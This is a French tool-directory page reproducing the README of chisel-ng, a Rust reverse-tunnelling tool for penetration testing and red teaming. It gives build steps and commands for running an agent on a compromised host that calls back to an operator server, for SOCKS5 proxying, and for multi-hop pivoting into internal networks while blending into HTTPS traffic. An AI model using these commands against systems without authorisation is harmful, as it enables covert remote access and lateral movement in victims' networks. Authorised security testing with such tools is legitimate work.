Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
chisel-ng — Chisel nouvelle génération, écrit en Rust. SSH via WSS avec quelques personnalisations. | Kitploit
Outils/GitHubGitHub/nullsection/chisel-ng
Évasion IDS/IPSMouvement LatéralPost-ExploitationSécurité RéseauTests d'IntrusionCommandement et ContrôleRed TeamingOutil d'Accès à Distance
GitHubnullsection/chisel-ng

chisel-ng

Chisel nouvelle génération, écrit en Rust. SSH via WSS avec quelques personnalisations.

Voir le dépôt
136929il y a 8 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

| | ()___ | | _ __ __ _ / | ' | / |/ _ \ || ' \ / ` | | (__| | | | _ \ / || | | | (| | _|| |||/_|| || ||_, | |___/

chisel-ng

Rust License Windows Linux

Une implémentation en Rust de chisel pour les tests de pénétration et les opérations d'équipe rouge. Établit des tunnels inversés via SSH-over-WebSocket-over-TLS, permettant aux opérateurs de pivoter à travers des hôtes compromis tout en se fondant dans le trafic HTTPS normal.


Table des matières

  • Démarrage rapide
  • Fonctionnalités
  • Architecture
  • Référence d'utilisation
    • Serveur
    • Client inverse
    • Client bind
    • Commandes CLI
  • Pivotement multi-sauts
  • Détails techniques
  • Considérations OPSEC
  • Avertissement

Démarrage rapide

Prérequis

  • Rust 1.70+ (rustup.rs)

Compilation

git clone https://github.com/nullsection/chisel-ng
cd chisel-ng
cargo build --release

Les binaires sont générés dans target/release/ : chisel-server, chisel-client, chisel-bind-client

Utilisation de base

1. Démarrer le serveur (opérateur) :

./chisel-server -p 'secret' -v

2. Exécuter le client (cible) :

./chisel-client -s operator.example.com:8443 -p 'secret' -k

3. Créer des tunnels :

chisel-ng> session 1
[session-1] TARGET > tunnel 8080:192.168.1.100:80
[session-1] TARGET > socks5 1080

4. Accéder aux services internes :

curl http://127.0.0.1:8080
curl --socks5 127.0.0.1:1080 http://internal.corp/

Fonctionnalités

  • SSH over WebSocket over TLS - Se fond dans le trafic HTTPS normal
  • Authentification par clé pré-partagée - Authentification simple et sécurisée
  • Redirection de port dynamique - Création de tunnels à la demande
  • Proxy SOCKS5 - Routage dynamique via les agents
  • Deux modes client - Inverse (connexion sortante) et bind (connexion entrante)
  • Multi-plateforme - Windows et Linux

Architecture

+------------------+              +----------------------------------+
|     Operator     |              |         Target Network           |
|                  |              |                                  |
| +--------------+ |     SSH      | +--------------+                 |
| |chisel-server |<---------------+-|chisel-client |                 |
| |    :8443     | |   (over TLS) | |  (reverse)   |                 |
| +--------------+ |              | +--------------+                 |
+------------------+              +----------------------------------+

Pile de protocoles :

TCP -> TLS 1.3 -> WebSocket -> SSH -> Tunnel Data
                     ^
            apparaît comme HTTPS

Modes client :

  • Inverse (chisel-client) - Se connecte au serveur en sortie
  • Bind (chisel-bind-client) - Écoute les connexions entrantes ; le serveur utilise la commande connect

Référence d'utilisation

Serveur (Opérateur)
OPTIONS:
    -l, --listen <ADDR>      Adresse d'écoute [default: 0.0.0.0:8443]
    -p, --psk <PSK>          Clé pré-partagée ou phrase de passe [env: CHISEL_PSK]
        --cert <FILE>        Certificat TLS (PEM)
        --key <FILE>         Clé privée TLS (PEM)
        --generate-psk       Générer une PSK aléatoire et quitter
    -v, --verbose            Sortie verbeuse
Client inverse (Agent)
OPTIONS:
    -s, --server <ADDR>      Adresse du serveur (hôte:port)
    -p, --psk <PSK>          Clé pré-partagée ou phrase de passe [env: CHISEL_PSK]
    -u, --user <LABEL>       Étiquette de session [default: agent]
    -k, --insecure           Ignorer la vérification TLS
        --no-reconnect       Désactiver la reconnexion automatique
    -i, --interval <SECS>    Intervalle de reconnexion [default: 30]
        --heartbeat <SECS>   Intervalle de pulsation [default: 30]
    -v, --verbose            Sortie verbeuse
Client bind (Agent - Mode entrant)

Pour les cibles qui peuvent accepter des connexions entrantes mais pas initier de connexions sortantes :

OPTIONS:
    -l, --listen <ADDR>      Adresse d'écoute (ex. 0.0.0.0:9000)
    -p, --psk <PSK>          Clé pré-partagée ou phrase de passe [env: CHISEL_PSK]
    -u, --user <LABEL>       Étiquette de session [default: agent]
    -k, --insecure           Ignorer la vérification TLS
        --heartbeat <SECS>   Intervalle de pulsation [default: 30]
    -v, --verbose            Sortie verbeuse
Commandes CLI du serveur

Menu principal :

sessions             Lister les sessions connectées
session <id>         Sélectionner une session
connect <ip:port>    Se connecter au client bind
disconnect <id>      Déconnecter la session (reconnexion automatique)
kill <id>            Terminer le processus client

Menu de session :

tunnel <local>:<target_ip>:<target_port>    Créer un tunnel
tunnel --local <local>:<target>:<port>      Créer un tunnel (localhost uniquement)
tunnel stop <port>                          Arrêter le tunnel
tunnels                                     Lister les tunnels
socks5 <port>                               Démarrer le proxy SOCKS5
socks5 stop <port>                          Arrêter le proxy SOCKS5
ping                                        Mesurer la latence
ps                                          Lister les processus distants
netstat                                     Lister les connexions distantes

Pivotement multi-sauts

Atteindre des réseaux isolés en enchaînant les sessions existantes.

Scénario : L'hôte DMZ peut atteindre l'opérateur. L'hôte interne (10.0.0.50) n'est accessible que depuis la DMZ.

+----------+        +-----------+        +------------+
| Operator |--SSH---| Session 1 |--TCP---| Session 2  |
|  Server  |        |   (DMZ)   |        | (INTERNAL) |
+----------+        +-----------+        +------------+

Étape 1 - Démarrer le serveur (opérateur) :

./chisel-server -p 'secret' -v

Étape 2 - Exécuter le client inverse (hôte DMZ) :

./chisel-client -s operator.example.com:8443 -p 'secret' -k

Étape 3 - Exécuter le client bind (hôte interne à 10.0.0.50) :

./chisel-bind-client -l 0.0.0.0:9000 -p 'secret' -k

Étape 4 - Créer un tunnel et se connecter (CLI serveur) :

chisel-ng> session 1
[session-1] DMZ > tunnel --local 9000:10.0.0.50:9000
Tunnel started on 127.0.0.1:9000

[session-1] DMZ > back
chisel-ng> connect 127.0.0.1:9000
Session 2 registered

chisel-ng> session 2
[session-2] INTERNAL > socks5 1080

Détails techniques

Comment fonctionnent les tunnels

Lors de la création d'un tunnel (tunnel 8080:192.168.1.100:80) :

  1. Le serveur lie le port local 8080
  2. Sur connexion, le serveur envoie une requête CONNECT à l'agent
  3. L'agent se connecte à la cible et ouvre un canal SSH direct-tcpip
  4. Les données sont pontées de manière bidirectionnelle
Comment fonctionne SOCKS5
Télécharger l’outil